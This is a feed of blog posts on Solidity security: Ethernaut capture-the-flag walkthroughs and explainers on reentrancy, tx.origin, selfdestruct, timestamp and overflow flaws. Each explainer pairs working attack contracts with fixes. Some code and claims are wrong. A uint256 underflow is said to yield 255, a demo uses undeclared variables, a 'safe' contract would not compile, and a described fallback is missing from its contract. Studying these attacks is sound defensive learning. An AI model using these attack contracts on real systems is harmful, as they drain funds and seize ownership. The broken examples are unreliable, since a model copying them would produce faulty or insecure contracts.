DEV Community: Kamil Polak

Ethernaut Level 5: Token

Kamil Polak — Wed, 26 Jan 2022 06:11:42 +0000

In challenge 5 you are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Let's first look at the given smart contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

This is a simple contract that allows to transfer and check the current balance of the contract. In the constructor, we can specify the total supply and assign it to a person who deployed the contract.

To hack this contract first you need to understand the concept of integer underflow and overflow. The overflow is a situation when uint (unsigned integer) reaches its byte size. Then the next element added will return the first variable element.

In the case of underflow, if you subtract 1 from a uint8 that is 0, it will change the value to 255.

Let me explain with an example. Note: The hardhat console library is necessary to log to the console in Remix.

pragma solidity ^ 0.6.0 ;

import "hardhat/console.sol";

contract Test {
    constructor () public  {
        uint8 small = 0;
        decrease--;

        uint8 large = 255;
        increase++;
        console.log(small); // prints 255
        console.log(large); // prints 0
    }
}

If you run this code in Remix, be sure to use compiler version 0.6. As you can see we have a variable named decrease with value a 0. If we subtract 1 from that variable we end up with 255.

If you want to know more about integer underflow and overflow I have an additional article you can read: Integer Overflow and Underflow in Solidity

Let's move to our smart contract. To win this challenge we need to trigger an overflow or underflow. Keep in mind that we received 20 tokens.

All we need to do is:

transfer 21 (more than 20) tokens to another address,
this will cause an underflow, setting our balance to 255

To execute transfer function you need to take some real contract address. You can pick a one from Etherscan.io

How to prevent underflow and overflow in Solidity?

There are two options. First is to use OpenZeppelin's SafeMath library that automatically checks for overflows in all the mathematical operators. The second one is to use the 0.8 Solidity version where overflow and underflow will cause a revert.

Ethernaut Level 4: Telephone Tutorial

Kamil Polak — Sat, 22 Jan 2022 15:35:38 +0000

In level 4 of the Ethernaut Game our goal is to claim ownership of the Telephone contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

This is a simple contract with only one function and constructor that assigns the ownership to the address that deployed the contract.

Considering that we have only one function it is fairly easy to guess that need to focus on it if we want to win the game.

The changeOwner function takes as argument an address and verifies if (tx.origin != msg.sender).

To claim the ownership we need to first understand what is the difference between tx.origin and msg.sender and why contracts that use the tx.origin to authorize users are vulnerable to phishing attacks.

tx.origin:

the original user wallet that initiated the transaction
the origin address of potentially an entire chain of transactions and calls
only user wallet addresses can be the tx.origin, not contract address

msg.sender:

both user wallets and smart contracts can be the msg.sender
checks where the external function call directly came from

For more details, I encourage you to read my post about tx.origin
Hack Solidity: Tx Origin Attacks

To hack the contract and claim ownership all we need to do is to create a new malicious contract and encourage the owner to call a specific function that under the hood will change the ownership. Let's think about that like a phishing attack.

Go to Remix IDE and paste a Telephone smart contract. Next, a open new file and create the following contract. Do not forget to import the Telephone contract.

Here we have a constructor that takes the Telephone's contract address. Next, we have a malicious function changeOwner that takes the address of the attacker and uses it to change the ownership of the Telephone contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;


import "./Telephone.sol";


contract Attack {

    Telephone telephone;


    constructor(address _address) public {
        telephone = Telephone(_address);
    }

    function changeOwner(address _address) public {
        telephone.changeOwner(_address);


    }


}

Before we deploy the contract let's first check the current Telephone's owner adress.

Before you deploy the contract in Remix you need to change the environment to Injected Web3. Next, in the Deploy field put a Telephone contract address

To check the address run the following command in the browser console.

Once you deploy the contract in the next step you can call the changeOwner function. As an argument put your MetaMask address.

When you call the function you should claim the ownership of the Telephone smart contract. To check that run the following command in the browser console.

As you can see the owner's address has changed, i.e. I claimed the ownership. Note, your wallet address is different, thus your output will differ from mine.

Ethernaut Level 3: Coin Flip Tutorial

Kamil Polak — Fri, 21 Jan 2022 17:31:29 +0000

In level 3 you have to play a game: coin flip. To complete this level you'll need to guess the correct outcome of a coin flip 10 times in a row.

So let's look at the code of the smart contract. We can see that there is only one function - flip.

The flip function takes a boolean value as its argument which
represents a side of the coin that's being flipped and it returns a boolean that says whether the caller of this function won or not.

Let me also explain the following line of code.

uint256 blockValue = uint256(blockhash(block.number.sub(1)))

Blockhashis a global variable that takes blocknumber and returns hash of the given block when blocknumber is one of the 256 most recent blocks; otherwise returns zero.

block.number.sub(1) returns the block number of the last block. Why the last one, not the current one? Because at the time the function is called, the current block is not yet mineded.

To sum up, the random number is being generated from the block hash or the hash of the previously mined block. This number is used as the source of randomness which ultimately influences the
side of the flipped coin.

We can use something like a proxy contract and in the code
we could mimic the exact calculation of the hash of the previously mined block to generate the random number that we know this function is using.

Next, we can copy the rest of the contract logic to get the same results.

contract HackCoinFlip{

    using SafeMath for uint256;
    CoinFlip public coinFlipContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinFlipContract) public{
        coinFlipContract = CoinFlip(_coinFlipContract);
    }
    function makeGuess() public {

        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool guess = coinFlip == 1 ? true : false;

        coinFlipContract.flip(guess);
    }
}

Note: in this case you need to use Remix IDE because it is not possible to upload an external smart contract.

To do that just copy&paste the CoinFlip and HackCoinFlip contracts. Keep in mind that before you deploy the contract you have to change the environment from JavaScript VM to Injected Web3 to be able to approve transactions using MetaMask.

Before we interact with smart contract let's check the initial state of consecutiveWins

As you can see it is 0. When you call the flip function in the HackCoinFlip contract the value will increase to 1. However, to win the game we need to guess the correct outcome of a coin flip 10 times in a row. This means that you have to call the function 10 times.

When you do this you should see something like this

You are the winner!

Ethernaut Level 2: Fallout Tutorial

Kamil Polak — Thu, 20 Jan 2022 17:37:47 +0000

This is the second part of my series around Ethernaut Game. In this post, we will deal with Level 2: Fallout.

Our goal is to claim the ownership of a given smart contract.

If we look at the function Fallout we see that it suppose to be the constructor. This is due to comments and the fact that constructors always are named in the same way as the smart contract. As you know a constructor only gets executed when the contract first deploys.

After further analysis we see that this is the only place where the ownership of the smart contract is assigned.

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

One of the recommendations was to analyse the contract in the Remix IDE. Why?

Because when you look at the constructor again you will see a typo in the name. Recall that the name of the constructor should be the same as the smart contract name, i.e. in that case Fallout. However the name of the constructor is Fal1out This means that this is not a constructor, but a normal function that we can call to claim ownership.

So, let's give it a try. First, we call the function and after that check who is the owner of the contract.

That's it. We claimed the ownership.

Conclusion

The vulnerability in the smart contract was the wrong name of the constructor. It was supposed to be a constructor however, due to a type (Fal1out not Fallout) it behaves similarly to any other function.

Ethernaut Level 1: Fallback Tutorial

Kamil Polak — Wed, 19 Jan 2022 12:24:37 +0000

In this article, I will walk you through how to solve the first task of the Ethernaut game.

The aim of the task is to :

claim ownership of the contract
reduce balance of the contract to 0

Let's start with the analysis of the contract that we need to hack.

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

Looking at the constructor we can see that contribution of the owner was set to 1000 ethers. This means that if we want to take ownership of the contract we need to call the contribute function until we reach a balance higher than 1000 ethers.

Considering that we cannot send more than 0.001 ether in one call it will take a lot of time.


  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

Another way to take ownership of the contract is to use the receive fallback function. The fallback function is executed if none of the other functions match the function identifier or no data was provided with the function call.

Note that only one unnamed function can be assigned to a contract and it is executed whenever the contract receives plain ether without any data. To receive ether and add it to the total balance of the contract, the fallback function must be marked payable.

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

As you can see, to take the ownership we need to meet to conditions: msg.value > 0 && contributions[msg.sender] > 0

After that, we can call withdraw function to claim all funds.

function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

Before let's check who is the owner of the contract.

As you can see the owner's address is different than player's address.

Now we can send some amount of ether to the contract. Note, you cannot send more than 0.001 ether.

To send the transaction you need to confirm your operation in MetaMask and pay some small gas. Once the transaction will be executed you should see confirmation as above.

We can also verify that we contributed to the contract.

Without going into details the length:3 is the confirmation. So now we need to fulfill the second condition of the fallback function. To do that we need to call the function and send some value.

Since this is a fallback function we used the specific function sendTransaction

After that, we can check the contract owner. As you can see now the ownership was assigned to the player's address. So we claimed the ownership!

Now we can withdraw ethers. Before we will check the current balance.

Let's call the withdraw function to get all ethers.

When you check the contract balance you will see that it is 0. So we achieved the second goal.

Hack Solidity: Unchecked Call Return Value

Kamil Polak — Mon, 17 Jan 2022 06:18:11 +0000

The main idea behind this type of vulnerability is that the return value of a message call is not checked. As a result, execution will resume even if the called contract throws an exception. If the call fails accidentally or an attacker forces the call to fail, this may cause unexpected behavior in the subsequent program logic.

In Solidity you can use a few low-level call methods that work on raw addresses: call, callcode, delegatecall, and send. These low-level methods never throw an exception but will return false if the call encounters an exception.

Let's look at the example derived from Sigmaprime blog.

contract Lotto {

    bool public payedOut = false;
    address public winner;
    uint public winAmount;

    // ... extra functionality here

    function sendToWinner() public {
        require(!payedOut);
        winner.send(winAmount);
        payedOut = true;
    }

    function withdrawLeftOver() public {
        require(payedOut);
        msg.sender.send(this.balance);
    }
}

In this simple contract, the bug exists where a send is used without checking the response. If a winner's transaction fails it allows payedOut to be set to true (regardless of whether ether was sent or not). In this case, the public can withdraw the winner's winnings using the withdrawLeftOver function.

How to prevent Unchecked Call Return Value

It is recommended to use the transfer function rather than send. This is because transfer will revert if the external transaction reverts.

If you choose to use the low-level call methods, make sure to handle the possibility that the call will fail, by checking the return value.

Sources

Hack Solidity: Visibilities

Kamil Polak — Sun, 16 Jan 2022 05:34:50 +0000

In Solidity you can specify the visibility of your function, i.e. to determine whether a function can be called externally by users, by other derived contracts, only internally or only externally.

By default, the function is public.

As described in the Solidity Documentation there are four types of visibility for functions and state variables:

external
public
internal
private

External functions are part of the contract interface, which means they can be called from other contracts and via transactions. Note, an external function cannot be called internally.

Public functions are part of the contract interface and can be either called internally or via messages.

Internal functions and state variables can only be accessed internally (i.e. from within the current contract or contracts deriving from it), without using this.

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts.

The problem with the visibility is that if you do not specify the desired type function that should be private will be public, and thus can be called by unauthorised people.

Let's look at the exapmle.

contract HashForEther {

    function withdraw() {
        // Winner if the last 8 hex characters of the address are 0.
        require(uint32(msg.sender) == 0);
        _sendWinnings();
     }

     function _send() {
         msg.sender.transfer(this.balance);
     }
}

This is a simple game where to win the balance a user must generate an Ethereum address whose last 8 hex characters are 0.

As you can see the visibility of the _send function has not been specified. As a result, anyone can call this function (default mode is public) and get the balance.

Preventative techniques

Since all the default visibility for functions is public it is recommended to always specify the visibility of all functions in a contract, even if they are intentionally public.

Sources

Hack Solidity: Tx Origin Attacks

Kamil Polak — Sat, 15 Jan 2022 09:48:54 +0000

tx.origin is a global variable in Solidity which returns the address of the account that sent the transaction.

Contracts that use the tx.origin to authorize users are vulnerable to phishing attacks. How?

Let’s say, a call could be made to the vulnerable contract that passes the authorization check since tx.origin returns the original sender of the transaction which in this case is the authorized account.

Let's look at the example.

contract Wallet {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function transfer(address payable _to, uint _amount) public {
        require(tx.origin == owner);

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    address payable public owner;
    Wallet wallet;

    constructor(Wallet _wallet) {
        wallet = Wallet(_wallet);
        owner = payable(msg.sender);
    }

    function attack() public {
        wallet.transfer(owner, address(wallet).balance);
    }
}

I created two contracts: Wallet that stores and withdraws funds, and Attack which is a contract made by an attacker who wants to attack the first contract.

Note that the contract authorizes the transfer function using tx.origin.

Now, if the owner of the Wallet contract sends a transaction with enough gas to the Attack address, it will invoke the fallback function, which in turn calls the transfer function of the Wallet contract with the parameter attacker.

As a result, all funds from the Wallet contract will be withdrawn to the attacker's address. This is because the address that first initialized the call was the victim (i.e., the owner of the Wallet contract).

Therefore, tx.origin will be equal to the owner and the require on will pass.

How to prevent Tx Origin attacks

The best way to prevent Tx Origin attacks is not to use the tx.origin for authentication purposes. Instead, it is advisable to use msg.sender (see below)

function transfer(address payable _to, uint256 _amount) public {
  require(msg.sender == owner);

  (bool sent, ) = _to.call.value(_amount)("");
  require(sent, "Failed to send Ether");
}

Sources

Hack Solidity: Block Timestamp Manipulation

Kamil Polak — Fri, 14 Jan 2022 14:16:05 +0000

Timestamp provides information about the date and time in which the block is mined. When you go e.g. to the etherscan you can find a timestamp for each block that was mined.

Block timestamp can be manipulated by miners a then used to their advantage to attack a smart contract.

Let's go into details of how this could happen using the contract below.

contract Roulette {
    uint public pastBlockTime;

    constructor() payable {}

    function spin() external payable {
        require(msg.value == 5 ether); // player must send 5 ether to play
        require(block.timestamp != pastBlockTime); // only 1 transaction per block

        pastBlockTime = block.timestamp;
 // if the block.timestamp is divisible by 7 you win the Ether in the contract
        if (block.timestamp % 7 == 0) {
            (bool sent, ) = msg.sender.call{value: address(this).balance}("");
            require(sent, "Failed to send Ether");
        }
    }
}

I created a simple game where a player can win all of the Ether in the contract if he submits a transaction at a specific time.

To join the game player need to send 5 ether. To play the game player call the spin function. If the block.timestamp is divisible by 7 player win all the Ether in the contract.

The miner that wants to win all of the Ethers can manipulate the contract. To do so he can:

call the spin function and submit 5 Ether to enter the game
submit a block.timestamp for the next block that is divisible by 7

How to prevent block timestamp attacks

There are two ways to prevent block timestamp attacks:

do not use block.timestamp in your contract
apply the 15-second rule which says that

If the scale of your time-dependent event can vary by 15 seconds and maintain integrity, it is safe to use a block.timestamp.

Sources

Hack Solidity: Self Destruct

Kamil Polak — Thu, 13 Jan 2022 04:02:13 +0000

The selfdestruct(address) function, removes all bytecode from the contract address and sends all ether stored to the specified address. If this specified address is also a contract, no functions (including the fallback) get called.

In other words, an attacker can create a contract with a selfdestruct() function, send ether to it, call selfdestruct(target) and force ether to be sent to a target.

Let's see how this attack can look like. We create a simple smart contract. Note: I created this contract based on Solidity by example.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;



contract EtherGame {
    uint public targetAmount = 5 ether;
    address public winner;

    function play() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {

        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

This contract represents a simple game whereby players send 1 ether to the contract hoping to be the one that reaches the threshold equal 5 eth. When the 5 eth will be reached the game is ended and the first player who reaches the milestone may claim a reward.

In this case, an attacker can e.g. send to the contract 5 eth or any other value that push the contract's balance above the threhshold. This would lock all rewards in the contract forever.

This is because our if statement in the function play() checks if the winner's balance is equal 5 eth.

Preventative Techniques

This vulnerability arises from the misuse of this.balance. Your contract should avoid being dependent on the exact values of the balance of the contract because it can be artificially manipulated.

If exact values of deposited ether are required, a self-defined variable should be used that gets incremented in payable functions, to safely track the deposited ether. This can prevent your contract to be influenced by the forced ether sent via a selfdestruct() call.

Let's see how the safe version of the contract looks like.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;



contract EtherGame {
    uint public targetAmount = 5 ether;
    address public winner;
    uint public balance;

    function play() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {

        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

Here, we no longer have any reference to this.balance. Instead, we have created a new variable, balance which keeps tracking of the current amount of eth.

Source

Integer Overflow and Underflow in Solidity

Kamil Polak — Tue, 11 Jan 2022 03:59:24 +0000

What do overflow and underflow mean?

In simple words, overflow is a situation when uint (unsigned integer) reaches its byte size. Then the next element added will return the first variable element.

Let’s say we have a uint8, which can only have 8 bits. That means the largest number we can store is binary 11111111 (in decimal 2^8 - 1 = 255)

Look at the code below.

uint8 balance = 255;
balance++;

If you execute the code above the "balance" will be 0. This is a simple example of overflow. If you add 1 to binary 11111111, it resets back to 00000000.

In case of underflow, if you subtract 1 from a uint8 that is 0, it will change the value to 255.

Now I show you a simple implementation of underflow in Solidity.
Let's create a simple smart contract called "ChangeBalance.sol". We're going to use Solidity 0.7 for this example because Solidity 0.8 was secured.

pragma solidity 0.7.0;

contract ChangeBalance {
    uint8 public balance;

    function decrease() public {
        balance--;
    }

    function increase() public {
        balance++;
    }
}

Let's compile and deploy the smart contract. As you can see the initial balance is 0.

If you press the "decrease" button, then the "balance" is decremented by one. Let's see what happen next.

As you can see the updated balance is now 255.

How to avoid overflow and underflow in Solidity?

The easiest way is to use at least a 0.8 version of the Solidity compiler. In Solidity 0.8, the compiler will automatically take care of checking for overflows and underflows.

Let me show you how it works in practice. To do that I will change the compiler version and deploy a new contract.

pragma solidity 0.8.0;

contract ChangeBalance {
    uint8 public balance;

    function decrease() public {
        balance--;
    }

    function increase() public {
        balance++;
    }
}

Initial balance is the same, i.e. 0.

Let's see what happened when we hit "decrease". Now you will get an error in the Remix console.

Reentrancy Attack in Solidity Smart Contract

Kamil Polak — Sun, 09 Jan 2022 15:55:02 +0000

Reentrancy attack is one of the most destructive attacks in Solidity smart contract. A reentrancy attack occurs when a function makes an external call to another untrusted contract. Then the untrusted contract makes a recursive call back to the original function in an attempt to drain funds.

When the contract fails to update its state prior to sending funds the attacker can continuously call the withdraw function to drain the contract’s funds. A famous real-world Reentrancy attack is the DAO attack which caused a loss of 60 million US dollars

Is the reentrancy attack still a significant problem?

Although reentrancy attack is considered quite old over the past two years there have been cases such as:

Uniswap/Lendf.Me hacks (April 2020) – $25 mln, attacked by a hacker using a reentrancy.
The BurgerSwap hack (May 2021) – $7.2 mln, because of a fake token contract and a reentrancy exploit.
The SURGEBNB hack (August 2021) – $4 mln, seems to be a reentrancy-based price manipulation attack.
CREAM FINANCE hack (August 2021) – $18.8 mln, reentrancy vulnerability allowed the exploiter for the second borrow.
Siren protocol hack (September 2021) – $3.5 mln, AMM pools were exploited through reentrancy attack.

How does reentrancy attack work?

A reentrancy attack involves two smart contracts. A vulnerable contract and an untrusted attackers contract.

Source: https://cryptomarketpool.com/reentrancy-attack-in-a-solidity-smart-contract/

Reentrancy attack scenario

Vulnerable smart contract have 10 eth.
An attacker store 1 eth using deposit function.
An attacker calls the withdraw function and points to a malicious contract as a recipient.
Now withdraw function will verify if it can be executed:

Does the attacker have 1 eth on their balance? Yes – because of their deposit.
Transfer 1 eth to a malicious contract. (Note: attacker balance has NOT been updated yet)
Fallback function on received eth calls withdraw function again.

Now withdraw function will verify if it can be executed:

Does the attacker have 1 eth on their balance? Yes – because the balance has not been updated.
Transfer 1 eth to a malicious contract.
and again until the attacker will drain all the funds stored on the contract

Below is the contract which contains the reentrancy vulnerability

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}

The vulnerability comes where we send the user their requested amount of ether. In this case, the attacker calls withdraw() function. Since his balance has not yet been set to 0, he is able to transfer the tokens even though he already received tokens.

Now, let's consider a malicious attacker creating the following contract

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}

The attack function calls the withdraw function in the victim’s contract. When the token is received the fallback function calls back the withdraw function. Since the check is passed contract sends the token to the attacker which triggers the fallback function.

How to protect smart contract against reentrancy attack?

To prevent a reentrancy attack in a Solidity smart contract you should:

Ensure all state changes happen before calling external contracts, i.e. update balances or code internally before calling external code
Use function modifiers that prevent re-entrancy

Modifier to prevent a reentrancy attack

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

DEV Community: Kamil Polak

Ethernaut Level 5: Token

How to prevent underflow and overflow in Solidity?

Ethernaut Level 4: Telephone Tutorial

Ethernaut Level 3: Coin Flip Tutorial

Ethernaut Level 2: Fallout Tutorial

Conclusion

Ethernaut Level 1: Fallback Tutorial

Hack Solidity: Unchecked Call Return Value

How to prevent Unchecked Call Return Value

Sources

Hack Solidity: Visibilities

Preventative techniques

Sources

Hack Solidity: Tx Origin Attacks

How to prevent Tx Origin attacks

Sources

Hack Solidity: Block Timestamp Manipulation

How to prevent block timestamp attacks

Sources

Hack Solidity: Self Destruct

Preventative Techniques

Source

Integer Overflow and Underflow in Solidity

What do overflow and underflow mean?

How to avoid overflow and underflow in Solidity?

Reentrancy Attack in Solidity Smart Contract

Is the reentrancy attack still a significant problem?

How does reentrancy attack work?

Reentrancy attack scenario

How to protect smart contract against reentrancy attack?

Modifier to prevent a reentrancy attack

Sources: